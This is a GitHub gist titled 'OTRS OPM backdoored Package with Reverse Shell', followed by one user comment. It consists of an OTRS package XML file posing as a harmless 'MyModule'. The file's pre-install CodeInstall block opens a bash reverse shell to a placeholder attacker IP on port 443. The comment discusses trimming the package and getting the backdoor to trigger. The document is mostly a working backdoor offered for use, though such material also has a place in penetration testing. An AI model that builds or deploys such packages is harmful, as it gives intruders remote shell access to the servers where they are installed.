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@mgeeky
Last active May 30, 2018 17:17
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OTRS OPM backdoored Package with Reverse Shell
<?xml version="1.0" encoding="utf-8" ?>
<otrs_package version="1.1">
<Name>MyModule</Name>
<Version>1.0.0</Version>
<Vendor>My Module</Vendor>
<URL>http://otrs.org/</URL>
<License>GNU GENERAL PUBLIC LICENSE Version 2, June 1991</License>
<ChangeLog Version="1.0.1" Date="2006-11-11 11:11:11">My Module.</ChangeLog>
<Description Lang="en">MyModule</Description>
<Framework>5.x.x</Framework>
<BuildDate>2016-09-23 11:17:41</BuildDate>
<BuildHost>opms.otrs.com</BuildHost>
<Framework>5.0.x</Framework>
<IntroInstall Lang="en" Title="My Module" type="pre">
&lt;br&gt;
Hello wolrd
&lt;br&gt;
((Hello!))
&lt;br&gt
</IntroInstall>
<CodeInstall type="pre">
print qx(bash -i >& /dev/tcp/<ATTACKER_IP>/443 0>&1 &);
</CodeInstall>
<CodeInstall Type="post">
# create the package name
my $CodeModule = 'var::packagesetup::' . $Param{Structure}-&gt;{Name}-&gt;{Content};
$Kernel::OM-&gt;Get($ModeModule)-%gt;CodeInstall();
</CodeInstall>
<CodeUninstall type="pre">
my $CodeModule = 'var::packagesetup::' . $Param{Structure}-%gt;{Name}-%gt;{Content};
$Kernel::OM-&gt;Get($CodeModule)-&gt;CodeUninstall();
</CodeUninstall>
</otrs_package>
@tsluyter
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As per the specs published by OTRS, BuildDate and BuildHost are auto-filled by the server. No need to include those.

After lots of testing, I ascertained that you technically don't need the blocks CodeInstall-post and CodeUninstall-pre.

I'm now fighting with the IntroInstall, trying to figure out why the OPM won't run the backdoor unless the IntroInstall contains specific chars.

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